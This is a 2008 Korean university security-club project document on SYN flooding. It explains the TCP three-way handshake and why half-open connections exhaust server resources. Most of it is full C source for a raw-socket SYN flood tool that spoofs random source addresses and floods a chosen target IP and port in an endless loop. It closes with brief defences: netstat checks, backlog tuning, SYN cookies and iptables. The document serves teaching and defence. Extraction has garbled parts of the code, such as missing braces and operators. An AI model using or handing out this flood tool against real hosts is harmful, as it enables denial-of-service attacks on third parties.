Hacking & Security Frontier SecurityFirst SYN flooding - SYN flooding 공격의원리와코드그리고대응 by amur, myusgun, leemeca 2008. 09. myusgun
Agenda 개요...3 원리...3 위협...4 잠깐! - 문서에관하여...4 이문서는...4 Code...4 대응방안...4 소스코드...5 표 1 선언부...5 표 2 getsock() 함수...6 표 3 resolve() 함수...6 표 4 getport() 함수...6 표 5 prep_syn() 함수...7 표 6 xmit_syn() 함수와전역변수...7 표 7 sig_proc() 함수...8 표 8 main() 함수...8 대응방안 - 기술적대응방안... 10 1. netstat... 10 2. backlog... 10 3. SYN Cookie... 11 4. IPTABLES... 11
개요 원리 SYN flooding 은공격자가대상 System 에 SYN 요청을연속적으로전달하는서비스거부공격이다. Client 가 Server 에 TCP 연결을시작한다고가정할때, Client 와 Server 가이것을규칙에따라서시행할경우다음과같은일련의메시지교환을하게된다. 1. Client 는 Server 에 SYN(synchronize, 동기화 ) 메시지를보냄으로써연결요청을한다. 2. Server 는 SYN-ACK 을 Client 에게반송함으로써이요청을인정한다. 3. Client 는 ACK 으로응답하고, 연결은성립된다. 이를 TCP three-way handshake 라부르고, TCP protocol 을사용하는모든연결성립을위한 기초가된다. 그림 1 user 와 Server 사이의일반적인연결. 3-way handshake 가정확하게수행되었다. 그림 2 TCP Header 구조. SYN flag 를 1 로설정한데이터를연속적으로보낸다. 두가지방법이있는데, Server 가 ACK 을받지않게하는두가지모두효과가있다. 악의적인 Client 가마지막 ACK 메시지의전송을생략하는것이다. 또는 source IP 주소를 spoofing 함으로 써 Server 가 SYN-ACK 을위조된 IP 주소로보내도록만들어 ACK 을받을수없게하는것이다.
위협만약이러한 half-open connection이 Server의자원을묶어놓게되면, Server가 SYN 메시지로넘치게됨으로써모든이런자원들이속박수있다. 한번 half-open connection을유보해둔모든자원들은만들수있는새로운연결 ( 정당하거나그렇지않은 ) 이없도록제한되어, 서비스를거부하게되는결과를가진다. 만약운영체제의다른기능이이때문에자원이부족해지면일부시스템은심히고장이나거나심지어파괴될수있다. 잠깐! - 문서에관하여 이문서는이문서는순천향대학교 SecurityFirst의 KUCIS(Korea University Clubs Information Security) 2008 년 Project 주제 SYN flooding Tool 제작 을기점으로만들어진문서이다. 현시점에서최종목표는 ipod Touch에서 SYN flooding공격을직접만든 tool을이용해성공시키는것이다. 이문서는그 Project에대한중간정리문서이며무단배포를환영하고무단수정을금지한다. Code 이문서는쉽게구할수있는 SYN flooding공격의 Source Code를담고있다. Code설명에서는 OS레벨로제공되는함수의설명은하지않는다. 대응방안이문서의대응방안에서는기술적인대응방안만을제시하고있다. 기초적인사항을위주로작성하여어렵지않게적용및실습이가능하다.
소스코드 본 Code 는 Linux 를기준으로작성되었다. 표 1 선언부 #include <stdio.h> #include <netinet/in.h> #include <netdb.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> #include <string.h> #define INDEX_TARGET_IP 1 #define INDEX_TARGET_PORT 2 struct syn unsigned char verihl; unsigned char tos; unsigned short len; unsigned short id; unsigned short flg_ofs; unsigned char ttl; unsigned char proto; unsigned short ipsum; unsigned long src; unsigned long dst; /* End of IP header. Start of TCP header. */ unsigned short sport; unsigned short dport; unsigned long seq; unsigned long ack_seq; unsigned char offset; unsigned char flags; unsigned short win; unsigned short tcpsum; unsigned short urgptr; char opt[20]; // Linux Only ; header 파일들의 include 와실행인자 index 의 define 문, 그리고 packet 의수동제어를위 한 IP 레벨까지의구조체선언이다. IPHEADER/TCPHEADER/DATA 순으로구성되어있으므로, IP header 부터정의해주고그다음 TCP header 를정의해준다. 자료형은 Header 구조의필드별 크기참조하여결정한다.
표 2 getsock() 함수 int getsock(void) int one=1, s; if( (s=socket(pf_inet, SOCK_RAW, 6/*IPPROTO_TCP*/)) < 1 ) return 0; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL,(char *)&one,sizeof(one))<0) return 0; return s; socket() 함수의 packet type 에 SOCK_RAW 를주어 raw-socket 으로 packet 의전체구조를 사용자가직접제어하게했다. setscokopt() 함수는 level 을 IPPROTO_IP 로 IP level 까지 접근하고, option name 은 IP_HDRINCL 로 IP header 까지접근할수있게한다. 표 3 resolve() 함수 int resolve(char *name, unsigned long *ip) struct hostent *host; if( (*ip=inet_addr(name)) == INADDR_NONE ) if(!(host=gethostbyname(name)) ) return -1; *ip = ( (struct in_addr *)host->h_addr)->s_addr; return 0; inet_addr() 로받은공격대상의 IP 가정당한형식인지검사한다. gethostbyname() 함수또한 동일한목적으로사용되었다. 표 4 getport() 함수 int getport(char *s, unsigned short *out) char const *p; int n; if(!*s) return -1; for( p=s ; *p ; p++) if( *p<'0' *p>'9' ) return -2; if( p-s>5) return -3; if( ((n=atoi(s))>65535) (n<0) ) return -4; *out = htons(n); return 0; 실행인자로받아온공격대상의 Port number 가정당한형식인지검사한다.
표 5 prep_syn() 함수 void prep_syn(struct syn *syn) syn->verihl = 69; // 0100 0101 syn->tos = 16; syn->len = htons(sizeof(struct syn)); syn->proto = 6; // 6=TCP 17=UDP, 1=ICMP syn->flg_ofs = 64; // 010(Don't Fragment) 00000 syn->offset = 160; // 1010 0000 syn->flags = 2; // set syn flag syn->ttl = 64; syn->win = htons(15536); prep_syn() 함수는 IP header 와 TCP header 에서고정값을가지는필드를초기화해준다. 표 6 xmit_syn() 함수와전역변수 int starttime, outcount=0; int xmit_syn(struct syn *syn, int sock, struct sockaddr_in *targ) register int count, sum; register unsigned short *p; count = (sizeof(struct syn)-20) >> 1; p = &syn->sport; syn->src = random(); syn->id = 1+255*( (random()%256) 0xff ); syn->sport = htons(1024 + (random() & 2048) ); syn->seq = random(); syn->ack_seq = random(); syn->tcpsum = 0; sum = (syn->src >> 16) + (syn->src & 0xffff) + (syn->dst >> 16) + (syn->dst & 0xffff) + 1536 + htons(count << 1); while(count--) sum += *p++; sum = (sum >> 16) + (sum & 0xffff); syn->tcpsum = ~(sum += (sum >> 16)); outcount++; return sendto(sock, syn, sizeof(struct syn), 0, (const struct sockaddr *)targ, sizeof(struct sockaddr_in)); xmit_syn() 함수정의부위의전역변수는시간과횟수를 count 하기위함이다. xmit_syn() 함 수는계속변하는필드들 (sequence number, source ip, source port, checksum 등 ) 을 설정하여 sendto() 함수로보낼 message 에지금까지구성한 packet 을담아공격을수행한다.
표 7 sig_proc() 함수 void sig_proc(int signum) int ctime = time(null); printf("\n -- statistics ----------------------\n"); printf(" packets sent : %d\n", outcount); printf(" bytes sent : %d\n", outcount*sizeof(struct syn)); printf(" seconds active : %d\n", ctime-starttime); printf(" average bytes/second: %d\n", (outcount*sizeof(struct syn)) / (ctime-starttime)); printf(" ------------------------------------\n"); exit(1); sig_proc() 함수는 main() 함수의 signal() 함수에서설정된 signal 이발생했을때공격을중 단하고, 공격시간과 packet 의수등통계를출력해주는함수이다. 표 8 main() 함수 int main(int argc, char *argv[]) struct syn syn; struct sockaddr_in targ; int sock; memset(&syn, 0, sizeof(struct syn)); if(argc<3) fprintf(stderr,"syntax:%s <TargetIP> <TargetPort>", argv[0]); exit(1); if(!(sock=getsock()) ) fprintf(stderr, "Failed to create socket.\n"); exit(2); if( resolve(argv[index_target_ip], &syn.dst) ) fprintf(stderr, "Invalid target IP (%s)\n", argv[index_target_ip]); exit(5); if( getport(argv[index_target_port], &syn.dport) ) fprintf(stderr, "Invalid target Port (%s)\n", argv[index_target_port]); exit(6); printf(" to %s:%d\n", inet_ntoa(syn.dst), ntohs(syn.dport)); targ.sin_addr.s_addr= htonl(syn.dst); targ.sin_port = htons(syn.dport); targ.sin_family = AF_INET; srand(time(null)); starttime = time(null); signal(sighup, &sig_proc); signal(sigint, &sig_proc); signal(sigquit, &sig_proc); signal(sigill, &sig_proc); signal(sigabrt, &sig_proc);
signal(sigfpe, &sig_proc); // signal(sigkill, &sig_proc); signal(sigsegv, &sig_proc); signal(sigpipe, &sig_proc); signal(sigalrm, &sig_proc); signal(sigterm, &sig_proc); signal(sigusr1, &sig_proc); signal(sigusr2, &sig_proc); signal(sigchld, &sig_proc); signal(sigcont, &sig_proc); // signal(sigstop, &sig_proc); signal(sigtstp, &sig_proc); signal(sigttin, &sig_proc); signal(sigttou, &sig_proc); prep_syn(&syn); while(1) if( xmit_syn(&syn, sock, &targ)!= sizeof(struct syn) ) fprintf(stderr, "failed to send packet.\n"); main() 함수에서는준비부터공격까지의전체적인흐름을담고있다. 1. 정당성을검사하는함수들을호출하여 return 값을이용해예외처리를해둔다. 2. 검사완료후공격대상을지정하기위한구조체할당과통계를위한시간을초기화한다. 3. signal 이발생되면공격을중단하도록 signal 에대한 handler 를지정한다. 4. 고정필드를할당하고 xmit_syn() 함수를 while 문으로무한반복시켜공격을수행한다.
대응방안 - 기술적대응방안 1. netstat SYN_SENT가많으면내부에서공격을하는경우 ( 주로웜에의하여 ) 가많고, SYN_RECV 가많으면외부로부터의공격이가능성이크다. 실행결과 LISTEN Server의데몬이접속요청을기다리는상태 SYS-SENT Local client application이 Remote host에연결을요청한상태 SYN_RECEIVED SYN을받아 SYN-ACK으로응답하였지만마지막 ACK이돌아오지않은상태 ESTABLISHED 3 Way-Handshaking 이완료된후서로연결된상태 그림 3 Windows XP SP3 의 cmd 에서 netstat -na 한모습. 2. backlog backlog 를확인하여크기가작으면적당하게조절해준다.
3. SYN Cookie SYN flooding에대응하는가장적합한방법 SYN Cookie가작동한다하더라도공격이지속적으로심하게강행될때에 Network가마비될수있다. SYN Cookies가작동할때 SYN flooding 공격이있으면 messages 파일에아래와같은내용이출력된다. # possible SYN flooding on port 80. Sending cookies. 4. IPTABLES iptables를이용할환경이되어있지않다면 iptables사용을위한 Kernel Compile수행 rule 예제 iptables -A INPUT -s <Source IP> -j DROP